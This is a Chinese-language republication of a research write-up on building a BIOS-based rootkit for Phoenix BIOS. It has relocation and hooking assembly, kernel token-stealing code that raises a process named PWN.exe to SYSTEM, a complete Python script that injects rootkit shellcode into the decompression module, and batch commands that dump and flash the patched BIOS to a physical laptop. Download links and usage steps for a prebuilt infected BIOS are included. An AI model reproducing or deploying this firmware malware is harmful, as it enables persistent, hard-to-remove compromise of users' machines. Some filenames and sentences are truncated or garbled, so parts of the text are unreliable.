基于BIOS的Rootkit

方法

目前，创建BIOS rootkit的示例代码数量非常有限，唯一公开的代码与2009年3月的BIOS rootkit演示一起发布（据我所知）。我的第一个目标是重现Core Security在2009年的研究结果，然后我的第二个任务是研究如何扩大他们的结果。我的最终目标是创建一些可以轻松部署的基于BIOS的rootkit。

在2009年，已经进行了类似的安全领域的研究，这是基于引导扇区的rootkit。与基于BIOS的rootkit不同，该领域的发展非常迅速，导致了许多不同的主引导记录（MBR）的rootkit正在开发和公布。这种类型的rootkit被称为“Bootkit”，这个比较类似于基于BIOS的rootkit，它旨在在加载操作系统之前加载自身。这种相似性导致许多bootkit开发人员指出应该可以直接从BIOS执行此类型的攻击，而不是从MBR加载。尽管有这样的想法，但还没有这样的代码公开的例子。

完成这个项目的第一步是建立一个可以进行BIOS修改和调试的测试和开发环境。在他们关于持久性BIOS感染的论文中，Sacco和Ortega详细介绍了他们如何发现VMware包含一个BIOS ROM以及可用于从BIOS本身开始调试应用程序的GDB服务器。在VMware中取得成功之后，将已经完成了 VMware BIOS修改移植到其他类似的BIOS平台，我将在此写入的下半部分进行描述。

VMware BIOS配置

好的，现在有足够的背景资料去做这个了！

所需的第一步是从VMware本身提取BIOS。在Windows中，可以使用任何资源提取器（Resource Hacker.）打开vmware-vmx.exe可执行文件。此应用程序中捆绑了许多不同的二进制资源，BIOS存储在资源ID 6006（至少在VMware 7中是这样的）。在其他版本中，这可能不同，但要查找的关键是资源文件大小为512kb。以下图像显示Resource Hacker中的内容：

将此BIOS映像绑定到vmware-vmx.exe应用程序中，也可以单独使用它，而无需在每次更改后修改为vmware可执行文件。VMware允许在图像的VMX设置文件中指定多个“隐藏”选项。在某些时候，我打算在本网站的“工具”页面上记录一些文件，因为有些功能非常有用！对BIOS修改和调试有用比如：

bio = "BIOS.ROM"debugS = "TRUE"debugS = "TRUE"moni = "TRUE"

第一个设置允许直接从文件而不是vmware-vmx应用程序加载BIOS rom。以下两行启用了内置的GDB服务器。每当image运行时，服务器将监听端口8832上的连接。最后一行指示VMware停止 guest image BIOS的第一行的代码执行。这是非常有用的，因为它允许在任何BIOS执行之前定义和断开内存。测试使用IDA Pro作为GDB客户端，并且在第一个BIOS指令中停止的VMware guest虚拟机示例可以在下面的屏幕截图中看到：

最初使用此测试环境时，IDA与GDB服务器的连接存在重大问题。在与不同的GDB客户端进行了多次尝试和错误测试之后，发现是VMware的版本问题。版本6和6.5在IDA上看起来不是很好搞，所以VMware7被用于大多数测试。BIOS由16位代码组成，而不是IDA默认的32位代码，因此需要在IDA的调试选项中定义“手动内存区域”。这允许将内存地址定义为16位代码，以便它们正确反编译。

重新创建过去的结果 – VMware BIOS修改

如前所述，Sacco&Ortega已经对BIOS进行了两次修改，Wojtczuk&Tereshkin也对BIOS进行了修改。在这三次演示中，只有Sacco&Ortega演示包含其所描述技术的任何源代码或示例代码。由于这是唯一现有的示例，它被用作基于BIOS的rootkit项目的起点。

Sacco&Ortega的论文在描述其设置和测试技术方面相当全面。VMware安装程序如上所述完成，下一步是实现他们提供的BIOS修改代码。提供的代码需要将BIOS ROM提取到各个模块中。VMware附带的BIOS ROM是Phoenix BIOS。研究表明，使用这种类型的BIOS，一种称为“phxdeco”的开源工具和Phoenix Phoenix直接提供的名为“Phoenix BIOS Editor”的商业工具，有两个主要工具。Sacco&Ortega的论文推荐使用Phoenix BIOS Editor应用程序，他们的代码就是用它。也有试用版可以从网上下载，页拥有该项目所需的所有功能。想找个下载链接，但没找到任何似乎甚至一半合法的试用版，但Google确实提供了各种链接。但我还是认为，找一些合法的试用版仍然很容易。安装工具后，下一步是构建自定义BIOS。

我首先测试了在VMware对BIOS映像进行的小小修改，将更改了VMware徽标颜色并生效。接下来，我运行了由Sacco&Ortega提供的Python编译脚本进行BIOS修改。除了Python BIOS程序集脚本中的一个print错误，一切都很好，一个新的BIOS被保存到磁盘。然而，将此BIOS加载到VMware并没有产生同样的成功，VMware会显示一条消息，指出虚拟机出现了错误的错误，并且正在被关闭。这个问题的调试是在IDA和GDB中完成的，但问题很难追溯（加上IDA有版本问题）。为了更快解决，我下了VMware的不同版本，为了测试环境将与Sacco&Ortega的测试环境相匹配。经过一番搜索，他们使用的详细版本的VMware已找到并安装。不幸的是，仍然没有解决这个问题，VMware报告了同样的崩溃错误。虽然我已经看到BIOS修改工作作为演示文稿的一部分，现在很清楚，他们的示例代码需要额外的修改才能在任意测试系统上工作。

通过调试Sacco&Ortega的代码，学习了许多不同的东西，最终，问题被缩小到一个汇编程序指令，该指令正在执行远程调用绝对地址，该绝对地址不是正在使用的BIOS的正确地址。输入正确的地址后，BIOS代码成功执行，rootkit开始搜索硬盘驱动器进行修改。这段代码花了很长时间扫描硬盘（只有15gb），并且在系统启动之前多次运行。概念证明代码包括修补no的功能，以便在启动时显示消息，或修改unix系统上的/etc/passwd文件，以便将root密码设置为固定值。

Bootkit测试

虽然项目时间比较久，但是还对各种bootkit代码的功能进行了测试，并重新创建了结果，以确定哪个最适合作为不仅仅是一个bootkit，而且还有一个基于BIOS的rootkit。检查了四个不同的启动程序，即Stoned，Whistler，Vbootkit和Vbootkit2 bootkits。Stoned和Whistler bootkits的设计功能比rootkit功能更像恶意软件，并没有一个简单的源代码结构。Vbootkit2启动工具有很大的不同，因为它不是被设计为恶意软件，并且（相对其他）有良好的源代码。该bootkit旨在从CD运行，但仅在Windows 7测试版中测试。当与Windows 7零售一起使用时，由于Windows使用不同的文件签名，所以bootkit根本没有加载。花一段时间用于确定新的文件签名，以便可以测试此bootkit，但仍然无法成功加载。为了允许测试Windows 7的beta版本。当Vbootkit2软件在Windows 7 beta系统上运行时，一切都按预期运行。Vbootkit2软件包括将进程升级到system（高于administrators）级别权限，捕获击键以及重置用户密码的功能。这些都是包含在rootkit中的有价值的项目，但是将该应用程序移植到Windows 7零售业仍然是很困难的工作。接下来检查Vbootkit软件; 它被设计为与Windows 2003，XP和2000一起使用。虽然它没有打包，以便可以从CD运行，但只需要稍微修改即可添加该功能。虽然这个软件只包括升级进程权限的能力，但这只是一个很有价值的功能。该bootkit软件被选择用于BIOS rootkit，这将在下一节中介绍。NVLabs是bootkit本身的作者，因为是基于bootkit，所以它在很多方面代表了这个项目的主要功能，非常感谢他们将代码公开化！似乎他们的源代码在他们的网站上已经不再可用了，但是它仍然可以从Arc下载

BIOS代码注入

以前测试的Sacco&Ortega的概念代码证明非常脆弱，其功能不是rootkit应该执行的操作类型。开发新的rootkit的第一步是开发一种强大的方法来使BIOS执行附加代码。

Sacco&Ortega修补了BIOS的解压缩模块，因为它已经被解压缩（因此它也可以解压所有其他内容），并且在BIOS被加载时被调用。这种推理比较合理，但是需要修改dll。在正常操作期间，BIOS会为存在的每个压缩BIOS模块调用一次解压缩模块。VMware BIOS包括22个压缩模块，因此要解压22次。该模块将覆盖我们的附加代码，因为它驻留在缓冲区空间中，因此有必要使我们的附加代码重新定位。

我使用的过程包括以下步骤：

在解压缩模块的开头插入一个新的调用到我们的附加代码。
将我们所有的附加代码复制到新的内存部分。
更新解压缩模块调用以指向我们的代码所在的内存中的新位置。
返回到解压缩模块并继续执行。

该过程允许将大量附加代码包括在BIOS ROM中，并且该代码在存储器中被移动到存储器之后从可靠的位置运行。上述四个步骤可以如下图所示：

（mspaint真棒）

在汇编器中实现这个问题可能有许多不同的方法，但目标是创建尽可能独立于系统的代码。为了实现这一点，所有绝对寻址都被删除，只有接近呼叫或跳转被使用。这个例外是对我们在可用内存中的位置引用，因为预计不管系统如何这是一个固定的位置。以下是用于处理代码重定位的汇编代码：

start_mover: ; The following two push instructions will save the current state of the registers onto the stack. pusha pushf ; Segment registers are cleared as we will be moving all code to segment 0 xor ax, ax ; (This may or may not be obvious, but xor'ing the register sets it to 0). xor di, di xor si, si push cs; Push the code segment into the data segment, so we can overwrite the calling address code pop ds; (CS is moved to DS here) mov es, ax ; Destination segment (0x0000) mov di, 0x8000 ; Destination offset, all code runs from 0x8000 mov cx, 0x4fff ; The size of the code to copy, approximated as copying extra doesn't hurt anything ; The following call serves no program flow purposes, but will cause the calling address (ie, where this code ; is executing from) onto the stack. This allows the code to generically patch itself no matter where it might ; be in memory. If this technique was not used, knowledge of where in memory the decompression module would be ; loaded would be required in advance (so it could be hard coded), which is not a good solution as it differs for every system. call b b: pop si ; This will pop our current address of the stack (basically like copying the EIP register) add si, 0x30 ; How far ahead we need to copy our code rep movsw ; This will repeat calling the movsw command until cx is decremented to 0. When this command is ; finished, our code will be copied to 0x8000 mov ax, word [esp+0x12] ; This will get the caller address to patch the original hook sub ax, 3 ; Backtrack to the start of the calling address, not where it left off mov byte [eax], 0x9a ; The calling function needs to be changed to an Call Far instead of a Call Near add ax, 1 ; Move ahead to set a new address to be called in future mov word [eax], 0x8000 ; The new address for this code to be called at mov word [eax+2], 0x0000 ; The new segment (0) ; The code has now been relocated and the calling function patched, so everything can be restored and we can return. popf popa ; The following instructions were overwritten with the patch to the DECOMPC0.ROM module, so we need to run them now before we return. mov bx,es mov fs,bx mov ds,ax ret ; Updated to a near return

一旦执行上述代码，它将复制自己到内存偏移0x8000，并修改最初调用它的指令，以便它现在将指向0x8000。为了初始测试这个代码，重新定位的代码只是一个例程，它会在屏幕上显示一个“W”（见下面的屏幕截图）。然而，最终目标是可以调用我们的rootkit代码，因此下一个修改是集成该代码。

如前面部分所述，“VBootkit”软件被确定为最适合可以从BIOS加载的rootkit功能类型。VBootkit软件最初创建，以便它可以从可引导CD运行。虽然这个起点与从BIOS运行相似，但是有一些关键的区别。这些差异主要是基于引导过程，如下所示：

我们的基于BIOS的rootkit代码将在BIOS Entry和BIOS加载完成阶段之间的某处运行。bootkit会在最后一个阶段运行，从内存中的0x7C00开始。

VBootkit软件被设计为将其加载到地址0x7C00中，此时它将重定位到地址0x9E000。然后它将挂起并中断0x13，然后将硬盘驱动器（MBR）的第一个扇区读入0x7C00，以便它可以执行，就好像bootkit从来没有出现。此过程需要修改，以便所有硬编码地址被替换（因为bootkit不再从0x7C00执行）。此外，不需要将MBR加载到内存中，因为BIOS将自行执行此操作。

VBootkit软件hooks interrupt 0x13，也就是说，它取代了中断通常使用自己地址的地址，然后在进行其他处理后调用interrupt。原来，需要一个额外的修改，因为当我们的BIOS rootkit代码被称为interrupt 0x13仍然没有完全初始化。通过计数存储在多少次解压缩模块的运行中来克服这个问题。如果它已经运行了22次（22个模块），那么BIOS被完全初始化，我们可以安全地挂起 interrupt 0x13。

Vbootkit软件遵循以下过程：

当第一次调用它将在内存中重定位到0x9E000（类似于之前完成的BIOS重定位）
接下来hook interrupt 0x13，这是硬盘访问中断
将检查所有硬盘活动以确定正在读取的数据
如果从硬盘读取Windows引导加载程序，引导加载程序在代码存储在内存中之前进行修改
对引导加载程序进行的修改将导致它修改Windows内核。这反过来将允许将任意代码注入Windows内核，从而允许特权提升功能。

随着我们的BIOS注入加上bootkit的加载流程如下：

这些修改的结果是将bootkit复制到内存并在BIOS执行，从硬盘驱动器加载操作系统，然后以已修改的操作系统结束，以便某些进程将以附加权限运行。以下屏幕截图显示了一旦找到引导加载程序和内核并成功修改它们的bootkit代码所显示消息：

用于此rootkit的代码设置为检查名为“”的任何进程，如果找到，请给它额外的权限。这是每30秒完成一次，所以权限的差异很容易看出来。这个功能可以在下面的代码和屏幕截图中看到：

xor ecx,ecx mov word cx, [CODEBASEKERNEL + Imagenameoffset] cmp dword [eax+ecx], "PWN." ; Check if the process is named PWN.exe je patchit jne donotpatchtoken ; jmp takes 5 bytes but this takes 2 bytes patchit: mov word cx, [CODEBASEKERNEL + SecurityTokenoffset] mov dword [eax + ecx],ebx ; replace it with token, offset for sec token is 200

已经开发的BIOS rootkit可以包含更多的功能（例如Vbootkit2中包含的内容）。

BIOS解压和 Patching

现在我们知道如何将rootkit注入到BIOS中，下一步是使用我们的rootkit代码来 Patching BIOS。为此，我们需要提取所有的BIOS模块，修复解压缩模块，并重新打包所有的内容。可以使用phxdeco命令行工具或Phoenix BIOS Editor来提取模块。一旦解压缩模块被提取，以下代码将使用我们的rootkit进行修补：

#!/usr/bin/python import os,struct,sys ############################################### # BIOS Decompression module patching script - By Wesley Wineberg # # The Phoenix BIOS Editor application (for Windows) will generate a number of module files # including the decompression module which will be named "DECOMPC0.ROM". These files are # saved to C:\Program Files\Phoenix Bios Editor\TEMP (or similar) once a BIOS WPH file is # opened. The decompression module file can be modified with this script. Once modified, # any change can be made to the BIOS modules in the BIOS editor so that a new BIOS WPH file # can be generated by the BIOS editor. The decompression module can alternatively be # extracted by , but this does not allow for reassembly. This script requires # that NASM be present on the system it is run on. # # INPUT: # This patching script requires the name and path to the BIOS rootkit asm file to be passed # as an argument on the command line. # # OUTPUT: # This script will modify the DECOMPC0.ROM file located in the same directory as the script # so that it will run the BIOS rootkit asm code. # Display usage info if len) < 2: print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename required!" exit(0) # Find rootkit code name shellcode = [1].lower() # Assemble the assembler code to be injected. NASM is required to be present on the system # or this will fail! os.system('nasm %s' % shellcode) # Open and display the size of the compiled rootkit code shellcodeout = shellcode[0:len(shellcode)-4] decomphook = open(shellcodeout,'rb').read() print "Rootkit code loaded: %d bytes" % len(decomphook) # The next line contains raw assembly instructions which will be placed 0x23 into the decompression rom # file. The decompression rom contains a header, followed by a number of push instructions and then # a CLD instruction. This code will be inserted immediately after, and will overwrite a number of # mov instructions. These need to be called by the rootkit code before it returns so that #the normal decompression functions can continue. # The assembler instruction contained below is a Near Call which will jump to the end of the # decompression rom where the rootkit code has been inserted. This is followed by three NOP # instructions as filler. minihook = '\xe8\x28\x04\x90\x90\x90' # The following would work but is an absolute call, not ideal! # minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A # Load the decompression rom file decorom = open('DECOMPC0.ROM','rb').read() # Hook location is 0x23 in to the file, just past the CLD instruction hookoffset=0x23 # Insert hook contents into the decompression rom, overwriting what was there previously decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:] # Pad the decompression rom with 100 NOP instructions. This is not needed, but does make it # easier to identify where the modification has taken place. decorom+="\x90"*100+decomphook # Pad an additional 10 NOP's at the end. decorom=decorom+'\x90'*10 # Recalculate the ROM size, so that the header can be updated decorom=decorom[:0xf]+("<H",len(decorom)-0x1A)+decorom[0x11:] # Save the patched decompression rom over the previous copy out=open('DECOMPC0.ROM','wb') out.write(decorom) out.close() # Output results print "The DECOMPC0.ROM file has now been patched."

如何调用上述脚本的一个例子是：

python bio

如果一切顺利，您应该看到类似于以下内容：

Rootkit code loaded: 1845 bytes

The DECOMPC0.ROM file has now been patched.

BIOS重组

对于诸如VMware附带的原始BIOS文件，Phoenix Bios编辑器（可从网上获得）中附带的许多命令行实用程序可用于重新组装所有内容。稍后在使用真正的PC进行测试时，有必要将BIOS备份，因此使用的重组工具是Phoenix Bios Editor的GUI版本。这意味着，不可能有一个很简单就能在感染BIOS的系统上运行的应用程序，至少不使用现成的工具。

这意味着BIOS感染是分三阶段的过程，需要一些手动操作，主要用于重新打包。以下显示打开BIOS映像的Phoenix BIOS编辑器：

Phoenix BIOS编辑器不是专门用于交换模块的。当BIOS映像首次打开时，所有BIOS模块将被提取到位于C:\Program Files\Phoenix BIOS Editor\TEMP\的文件夹中。解压缩模块可以从该文件夹复制，修补和替换。Phoenix BIOS编辑器不允许您在不修改BIOS的情况下保存BIOS，因此需要修改字符串值，然后将其更改（或者直接留下），以便可以保存BIOS。

如果您想自己尝试所有这些，基于BIOS的rootkit源代码和修补脚本可以从文末的链接下载。

物理机测试

Phoenix BIOS与所有基于VMware的开发一起使用，因此也被选择用于使用物理PC进行测试。所有的物理（而不是虚拟）BIOS测试都是使用惠普Pavilion ze4400笔记本电脑完成的。BIOS测试最初计划用于PC而不是笔记本电脑，因为如果需要，可以访问PC主板进行重新整理将更容易。尽管如此，马上找到一台带有Phoenix BIOS的电脑明显不靠谱，所以使用了一台笔记本电脑（特别感谢David为我的BIOS中不经意的写了源代码时重新刷新笔记本电脑！）

PC BIOS检索

修改真实系统BIOS的第一步是提取它的副本。凤凰有两种不同的工具，他们通常为此提供一种工具，一种称为“Phlash16”，另一种称为“WinPhlash”。Phlash16是一个命令行实用程序（具有基于控制台的GUI），但只能从DOS运行。WinPhlash，如其名称所示，从Windows运行。虽然这是一个基于GUI的实用程序，它也将接受命令行选项，使我们能够自动执行BIOS检索过程。对于这个项目，我最终做了一些脚本来自动执行BIOS提取和修补，但是它们的作用非常基本和有限的。

以下批处理脚本将BIOS复制到名为BIOSORIG.WPH的文件中，然后检查它是否以前已被修改。C Perl脚本只是检查我的名字的BIOS内容，不会在任何未修补的BIOS中。

@rem This file dumps the bios and checks if it has previously been patched. @rem Dump WinPhlash\WinP /ro=BIOSORIG.WPH @rem Check if the BIOS has been patched already Python\Por\App\python C WinPhlash\BIOSORIG.WPH

PC BIOS解压缩和Patching

在检索到BIOS后，下一步是使用我们的rootkit代码进行修补。这可以使用与上述部分中使用的完全相同的脚本来完成。这个项目的目标是设计补丁以及修补过程尽可能兼容。我认为这是完全可能的，所以相同的工具可以用于BIOS类型相同，硬件完全不同的机器。

PC BIOS重新组装

虽然有一个免费的工具可以从Phoenix BIOS中提取模块，但似乎只有Phoenix Bios编辑器才能根据需要对典型的PC进行重新组装。WinPhlash工具需BIOS提供附加信息，BIOS将与原始BIOS一起存储在WPH文件中。在测试了许多不同的选项之后，似乎成功重新组装WPH文件的唯一方法是使用GUI Phoenix Bios Editor。这意味着，不可能简单地有一个可以在会感染BIOS的系统上运行的应用程序，至少不使用现成的工具。

理论上应该可以逆向WPH格式文件并创建一个自定义的BIOS重组工具，但这不在本项目的范围之内。相反，BIOS感染是一个三个阶段的过程，需要一些主要用于重新组装的手动操作。

与修补VMware BIOS一样，可以使用Phoenix BIOS编辑器重新组装修补模块的技巧。当BIOS映像首次打开时，所有BIOS模块将被提取到位于C:\Program Files\Phoenix BIOS Editor\TEMP\的文件夹中。解压缩模块可以从该文件夹复制，修补和替换。Phoenix BIOS编辑器将不允许您在不修改BIOS的情况下保存BIOS，因此需要修改字符串值，然后将其更改（或者直接留下），以便可以保存BIOS。

BIOS Flashing

一旦将BIOS重新组装到WPH文件中，以下批处理脚本将将新的BIOS映像刷新到BIOS EEPROM中，然后重新启动PC，以使其生效：

@rem This file uploads a file named "BIOSPATCHED.WPH" to the BIOS. Will reboot system when done. WinPhlash\WinP /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH

笔记本修改结果

将所有描述的东西放在一起，以下显示了BIOS代码Flashing到笔记本电脑上（从上面详细介绍的in脚本运行）：

闪存完成后，BIOS rootkit成功运行并加载到Windows内核中。以下屏幕截图显示了一个最初作为普通用户启动的命令提示符，然后在30秒后将其权限升级：

这表明BIOS rootkit足够便于在多个系统（VMware，HP笔记本电脑）上工作，并且感染机制正常且正常工作。

为该项目开发的“rootkit”仅实现一个简单的任务，但是关于Vbootkit2软件的说明，我们可以添加额外的功能。Phoenix制作BIOS由该项目进行复现，Phoenix BIOS和其他厂商的BIOS之间有很多相似之处。虽然可能需要为每个单独的制造商创建代码，但是没有大量的不同的BIOS供应商，因此将这个rootkit功能扩展到所有常见的制造商应该是可行的。

在介绍中，我注意到新的BIOS功能，例如签名的BIOS更新，从安全角度看，远远不止这个问题。但也值得一提的是，有比“新”电脑更多的“遗留”电脑，所以这种类型的攻击仍然是一个很长一段时间的问题。

演示VMware BIOS和源代码

提供以下源代码和修补BIOS作为概念证明。我不希望人们将其用于任何恶意的目的，而是表明这种攻击在较旧的BIOS配置上是完全可行的。我不希望有人以现在的形式将我在线发布此代码其变为任何有用的恶意软件。

如前几节所述，该代码应该能够修复大部分的“Phoenix”BIOS。修补脚本可以在这里下载：BIOS_Ba

BIOS rootkit的源代码可以在这里下载：bio

如果使用上述脚本/源代码，则需要NASM编译代码才能pach到BIOS中。NASM应该添加到您的变量路径中，或者您应该更新修补脚本使其成功工作。您还将需要一个Phoenix BIOS编辑器的副本，或者一个相当于将解压缩模块组合到一个完整BIOS中的免费工具

如果您不想自己编译这一切，只想尝试一下，可以在此下载与VMware一起使用的BIOS：BIOS_roo

PoC用法和注释

如果你不喜欢阅读上面的文章，这里是如何使用它的总结，以及它的作用。

首先从上述链接下载BIOS_roo BIOS映像。
您需要安装VMware的一个副本以及一个Windows XP操作系统客户端进行测试。我已经通过一系列不同版本的VMware Workstation以及最新版本的VMware Player（免费）对其进行了测试。
在打开您的客户端WinXP VM之前，请浏览到您的计算机上存储虚拟机的位置，并在记事本中打开.vmx文件（即Window或任何您的VM文件）。在最后添加这一行：

bio = "BIOS_roo"

确保你在该文件夹时将BIOS_roo复制到该文件夹。
现在打开并启动VM，然后将程序重命名为（例如cmd.exe）。
等待30秒钟，然后启动任务管理器。Pwn.exe应该以用户“SYSTEM”的形式运行，而不是您登录到XP的任何用户。

上述步骤的列表是在理想的环境中工作。测试显示以下注意事项！

操作系统不稳定。有时候启动或者只是简单地关闭你的应用程序Windows将会BSOD。
如果您在30秒的权限提升之前打开它，可以使用像whoami这样的东西来检查你的权限。
虽然我已经成功地将它加载到真正的PC上，但是如果你这样做，我也不会对结果负责。如果你以一种可怕的方式把你的主板弄坏了，我也很高兴，反正我无法帮助你！自己承担您自己的风险！
如果您只是想观看这个视频，Colin已经在YouTube上放了一个：

*来源：n0where，转载自MottoIN

原创文章，作者：Jarry，转载自：